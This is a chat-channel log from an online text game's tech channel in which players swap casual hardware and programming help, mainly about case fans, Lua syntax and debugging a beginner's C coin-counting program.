T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: a shop vac in blower mode with a reducing hose works as well
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: how do i unmount the fan.  soubds ez enough?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: depends on the fan assembly...screws or rubber mounts
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the cpu and gpu fans both blow in.  i was wrong.  from tge outside it was pushing air out. aybe preasure difference
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: the cpu almost shredded my toilet paper
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: yeah, if the fins are sharp that can happen
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Daloran Tech: wait. you're trying to take it off while it's running? ... uh... bad.
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: no...
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: i just turned it on to test the fan flow with case open
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Juictice Tech: if its unplugged can o safely use hands to release the plastic things mountimg the fan
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: when i wana go into testport it says error
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: what says error, and what kind of error does it say?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: well it just said error connecting to server
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: what do you have listed for the server address?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: aardmud.net?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: and the port?
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: hmm, my client only asks the address tho it worked for me in the past 
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: if it only says the address, then use aardmud.net:6555
T3/r7/2013-02-23.txt.gz:{chan ch=tech}Tech: or aardmud.net 6555
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: ok back on the desktop
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: put that fan in, blowing in
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: thank you all for your help
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: if i want to buy case fans where I can control the speed... do I need special fans or just a fan controller?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: if you want to control the fan speeds, you'll need something mechanical to do it if they aren't connected to the motherboard.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: you can get fans with a speed control or something more advanced like this, http://www.newegg.com/Product/Product.aspx?Item=N82E16811992007
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: It's usually called a fan controller or a rheostat
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: a rheostat or petentiometer is essentially just a knob control to increase resistance (and slow down the fan)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GreenAcid Tech: does lua have shorthand for i = i+1, i++ does not seem to work
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: apparently, lua doesn't have an increment operator
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: docs say that for loops auto-increment +1 if not specified othewise
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GreenAcid Tech: hmm will try with a while look
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GreenAcid Tech: loop*
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ++ does not exist in Lua.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GreenAcid Tech: nothing similiar either I take it?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's entirely unnecessary
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: well, it's not necessary in any language...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GreenAcid Tech: it is just nice shorthand
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone feel like looking at an easy C program and telling me why it adds up quarters, dimes, nickels and pennies up to 500mil/
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Because its a lot of quarters?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: why it does, or why it does not?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}GreenAcid Tech: post a pastebin
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 1 penny 2 nickels 3 dimes 4 quarters is not 500mil
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: http://pastebin.com/me4pswAJ
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: oh, that kind of why not.  You're either doing math wrong or perhaps a number you thought was a numeric datatype is really a string datatype and your + is maybe doubling as a concatenation operation.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i dunno i have checked just about everything
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: What inputs are you giving it?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: 1 2 3 4
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if i do just 1 0 0 0  the number actually gets bigger
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: brb. thanks for looking also
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well is there any possiblity that something is stuck in memory?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Well. One thing to be aware of is that arithmetic operators give a result of the same type as their operands.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: hrmmm... your dollar function returns bills but you don't seem to be assigning that to anything...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: bills is assigned in dollars function
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Which, in english, means that (int) + (int) will give you an int. Dividing that by an int (100) will give you an int. Assigning that to a float will discard any fractional part of the result.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so your saying coerce the int values to float before addition?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: I haven't tried it, but I would. If it's not the problem you're facing now, it's a problem you will face.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: ahh. bills is global
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Either use global variables, or send them as parameters and return values. Also, don't use global variables.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: what Ranrr said.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: And what he said, yes.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: another thing that strikes me right now is my puts("") aren't showing up i just get the insert prompt
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: that's why I missed bills when I scanned the code.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: gotta love a book that tells you to do something and then you find out it is wrong
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you aren't initializing any of your variables
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no book would tell you to program like that
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also your comments are really stupid
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: don't comment a function call with "this is a function call"
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i think it is dumb too but i have lots points on some assignments already for not commenting everything
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: commenting stupidly should make you lose more points
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Fiendish, a lot of (bad) programming books teach comments like that, for 'clarity' - better to explain why that is bad, and what should be commented instead
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: And a lot of teachers who see those books as gospel teach the same, unfortunately
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: In short, comments should add something to the code, from the perspective of someone who already knows the language
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Xaeris Tech: A comment in any sort of code, should be an explanation of what is going on in the next section of code.  That is, it should give you a method of explaining what is going on and that you understand.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: I prefer the linus torvalds way, if you need to comment your code, it needs to be rewritten in a simpler way.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: linus is wrong. vakieh is right.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Linus is a non-profit coder by trade and by habit - his ideas are rarely workable in the real world
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Xaeris Tech: so instead of "this is a function call" you would want to comment "calling function X, to perform action Y"
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: comments should save the next programmer time
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: So, linux and git are not used in the real world?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Not saying his ideas are wrong, they are simply an ideallistic approach which simply cannot function the way most projects are handled
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: BTW, I write comments myself, but I am not as good a coder as linus.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: It is a good thing to strive for, and I think that was the point. 
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: The pursuit of perfection is the greatest obstacle on the way to good.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: comments are the programmer's way of remembering things that got done months ago.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Well, all code I write can be modified by someone else a few months or years later. Working in a team, where everyone updates all code when needed makes you write better code (and better comments).
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Especially if your co-workers mock you if your code is ugly :D
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ok had to hand that crap in. now i would like to write it correctly. first off someone told me i can't return more than one value from a function
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that is true, but you can pass in pointers in C
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i don't know what pointers are yet
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: then ignore the second part of my answer
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: at any rate...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: Are you not getting a warning for the remove function?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: yup i am. not sure why though
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: your name is overriding a stdio function
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish chuckles politely.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: you should rename those
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: removecoins or whatever
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: As for the pastebin in question, take a look at the function 'insert'. It has a comment //insert function - anyone who knows C, or really any language at all, knows that before seeing the comment, and it is therefore superfluous. The only thing a programmer should be writing (ideally) is what is required.  Instead of //insert function, perhaps try // Adds the given parameters to the pennies, nickels, dimes and quarters variables (please note the function in question is not really a valid way of doing anything, but if it was, that would be the comment I would leave)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also the comment should be on the function itself
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not the call to it every single time
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Oh, is that reproduced? Just looked for headers myself :-P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: wow my teacher explicitly says 'function remove (int p, int n, int d, int q) will subtract pennies, nickels, dimes and quarters'
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: noted on the comments.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: On a function, I always comment the input, return values and any side effects. 
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: /me shakes head
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: that's a style issue, mostly.  I was taught to leave a comment on both sides of the routine call, the first one (at the calling point) gives a very brief summary and any site-specific explanation on why to call it, the one in the function goes into all the details involved in the function internals.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Hanslanda, you might be thinking dec/def? This is actual calls in client code
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Function internals is what the code is for, not the comment (imho).
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so no globals (why are globals frowned on), utilitarian commenting, single return value
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: I was referring to comments
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: vorpes: namespace
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: My usual style is to comment public methods in the declaration, private methods in the definition
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: globals are frowned upon because they pollute the namespace
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: two functions can accidentally use the same variable name and then you're sol
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Plus they cause similar non-determinate errors as goto
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: side effects should be avoided if possible
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ahh that makes sense
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Things get VERY hairy if you start working with exceptional states with global variables - how do you know if the preceding code finished working with the value or not? A lot of unnecessary overhead
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: wow so removing remove cleared up a good part of the problem. (besides the fact i am doing it wrong), now to figure out the return part
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: you can gain insight by "drawing" the connections in your program.  Ideally, you want to have just one input point and one output point.  If your code gets too spaghetti-fied, the graphics will make it more obvious than flipping through less-meaningful text.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: I admit I am curious as to the returning multiple values... haven't worked in raw C for a while, but afaik that will evaluate the first 3 terms, then return the 4th, and the first 3 are discarded?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Tharnin nods at Vakieh.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: You might need to look into working with a struct 'coins', with coins.dimes, coins.pennies etc
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: If you knew pointers, you would use a pointer to a struct. Since you don't, you can stay with globals for now, imho.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: A global struct would be my advice at this point
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: C++ makes this slightly cleaner with reference passing
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i still need to get the values back from the functions after i add the user input
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Vorpes: the point of passing in a pointer is that the object it points to exists outside the function's scope
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: so it's aaaaalmost like a global in that sense, but not quite
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: is referable by the function but still inside the main?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: sort of like the girl that gets around to all the guys in the friends group?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: wherever you instantiate the object the pointer points to, whether that is in main or elsewhere
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Returning a struct wouldn't work in C? (I should know better. My excuse is that I've been doing C++ for the past 7 years and haven't done C in too long.)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: An analogy I like: Bill has a brown cow. He needs the cow dyed black for a party, but only Bob has black dye. He passes the cow to Bob. Bob sprays the cow black, and gives it back to Bill. If Bill had just shown Bob the cow, then Bob's cow would still be brown. What you are doing now is showing Bob the cow, pointers is how you GIVE Bob the cow.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Not as well as pointers, I dig that, but it beats globals if it works, imo.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can return a struct
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: he probably hasn't learned structs
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Point.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also eww object memory copying
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Might this work better if the methods were generalised and called 4 times? What are the requirements?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Tharnin smirks at The Jerk Fiendish's saying.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: nope i know variables. loops, and that is about it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: And yes, death to the shallow copy :-P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: just wait until errorchecking...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so pointers are just variables with * appended?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Shallow copy of a four int struct vs. globals... I'm not championing the struct thing in general, but BIGGER death to globals.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not quite
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: nononononono
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Leave them for now :-) They require a little more depth of knowledge as to how the computer works its magic behind the scenes, and they are infamous for being easy to get wrong
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: fair enough
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: a pointer is a special integer whose value is a location in memory
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tharnin Tech: Aye. I'm derailing, sorry.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: and the difference between a pointer and a variable is the pointer is a specific number at a specific location?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can directly change the pointer value, which changes the memory location it points to like moving its finger, or you can follow its finger to the thing it is pointing to that resides at that memory location (called dereferencing) and change that thing
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the difference between a pointer and another kind of variable is that pointers have a very specific semantic meaning
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: A memory address is where the computer stores data. A variable is something inside (or at) a memory address, and a pointer is a record of a particular memory address.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: A pointer 'points to' a variable
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: that makes a fair bit of sense
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only it's terribly inaccurate
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: damn it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it doesn't point to a variable, it points to an object that may or may not be referenced by any other variable
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: here's how memory and variables work...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vliam Tech: oh lawd... It's Miller time
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your computer has a list of regular variables. each of those regular variables are, BEHIND THE SCENES, given translations between the name you named them and the location they are stored. So your variable "dollars" is in memory address 400 or whatever. Pointers are no different than this. If you made a pointer called dollarspointer, it too would behind the scenes be given a translation between its name and the location it is stored. The difference is that value stored at dollars's location could be 5 or whatever dollar amount you want. And the value stored at the dollarspointer's location would be 400.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Gonna publish that book Fiendish =P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish squeals with Delight as Fatal FrostBite Sniggles him!
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: K&R already did.  Couple years ago   ;p
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Remarto smirks.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: imo statements ->variables->conditionals->loops-> 'In-depth pointers and computer memory' is a silly path to learn. Yes, pointers might be null, or point to 0, and can be referenced as themselves, or dereferenced, and themselves have may be pointed to, etc - but at this point the information would be irrelevant and confusing.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: There goes Fatal FrostBite giggling again, and this time he's looking towards Not an Imm Erikson.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so the pointer points  to the specific location in memory. and you can then assign a variable to start there and reference it via the pointer?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: a variable is essentially the name given to a pointer.  The pointer is the "map" to the data, and the data is the real-world info that changes, disappears, gets overwritten, etc
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the pointer has as its value a location in memory. we differentiate this from other kinds of value storage and call this specifically pointing because the language provides us ways of bouncing over to the other value at the location in memory that the pointer has stored as its value.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: pointers, as learned about in lessons, are kinda like just another variable, except that their data happens to be the memory location.  You perhaps learned about scope already, so basically pointers are a way to set a value for a non-local variable directly without having to do a separate assignment of your local variable to your global/public variable declared earlier in the scope tree.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so what happens if the pointer points to the middle of a value?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: or, perhaps more accurately, not having to return a value.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: in C, there's basically no errorchecking, so you'll just get garbage data as your reference reads past the allotted space.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: or you'll crash
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Even worse, Vakieh, is when you only learn languages like java, and never learn to do memory management and pointers. Every coder needs to know this.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I don't agree
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: If you learn Java but don't learn how the garbage collector does its business, you never really learned Java :-P
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I think learning how to manage references is far more important than learning how to use pointers
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: C doesn't even have pass by reference
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Every language sucks in some way.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: also garbage collectors exist so that you don't have to learn how they work
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Tech: Fatal FrostBite grins evilly at The Jerk Fiendish.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: and it's not like they're all that perfect to begin with...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: No, garbage collectors exist so you don't have to do the work at the time - you absolutely should know what they are doing
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Once you know what a garbage collector is doing and why, THEN you can black box it and let it work its magic
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Every coder should write his own memory manager at least once, imho.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: eww
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no, you shouldn't. you should trust that they work and go about your business and deal with any very rare garbage collection latency issue if you ever come across it
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: because it will be very rare and you'll probably never have to worry about it ever
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and any time spent learning about it prematurely will be a huge waste
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: except academically
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Ranrr Tech: Or when you test or debug software.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: But Mr Fiendish, my code leaves this massive collection referenced in main because I used it there at some point, and now my little utility program is using a bazillion RAMs! What do?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: There is so much knowledge behind why a GC is needed that you just won't get any other way if you are using a managed language
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: anyone trying for one of the Google Glass giveaways?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's not a giveaway
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you have to pay $1500
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Pocket change :)
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Fiendish, thats "shipping and handling" ?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: compared to what they're likely to go for when mass production kicks in, that's probably a huge steal.  Well, other than having to write a winner of an essay.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no, that's the price of buying a set of glasses. just because you have to do a song and dance to convince them to sell you one doesn't mean they aren't still selling it to you
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: For $1500 S&H I'm going to need it delivered on a freshly powdered Victoria's Secret model's backside...
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they will not be $1500 retail.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: especially not after they stop sucking
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: I live in Au... if we get them for <$1500 I will eat my hat.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: if you got them for <$1000 would you use the money you saved to buy food instead of eating your hat?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: lol
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: lol, computer fans have internet access now?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Little do you know... http://bit.ly/Yngv6X
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: They have the internet on computers now?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: Well, it is just this series of tubes, I expect they get it from the water mains
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: I thought the internet was more like a dump truck?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Imaginary Wissie Tech: quick! they're full! dump them!
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: I guess Al Gore wouldn't invent something similar to a dump truck.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Hanslanda Tech: more like rush hour now, Dal.  Soon, hackers are gonna be able to hijack the on/off button.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Hackers can turn your computer in to a bomb
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rabshakeh Tech: so if i want to upgrade my after-freeze character's version of aardmush, theres' instructions how to do that on aardpage?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rabshakeh Tech: cause i notice this one i'm using now has a bug like when i run to an area it'll show bigmap on first room, but otherwise it seems cleaner
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rabshakeh Tech: i got this running in different directorythan other one
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: final question
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: my oldish 9800 gt has an hdmi port, a dvi port, and a vga port
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: but it will only recognize 2
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Rabshakeh Tech: just curious cause i spent like, probably 30 hours in all doing all my custom exits and portal's and stuff
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: no way to see 3 monitors?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Daloran Tech: Nvidia cards in general only support 2 displays, despite the number of ports.
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: lame
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Juictice Tech: so if I throw an even more ancient video card in there, can that run my third display?
T3/r7/2013-02-24.txt.gz:{chan ch=tech}Vakieh Tech: You can stick in a crappy 2nd card to get the 3rd monitor up - processing will be shared
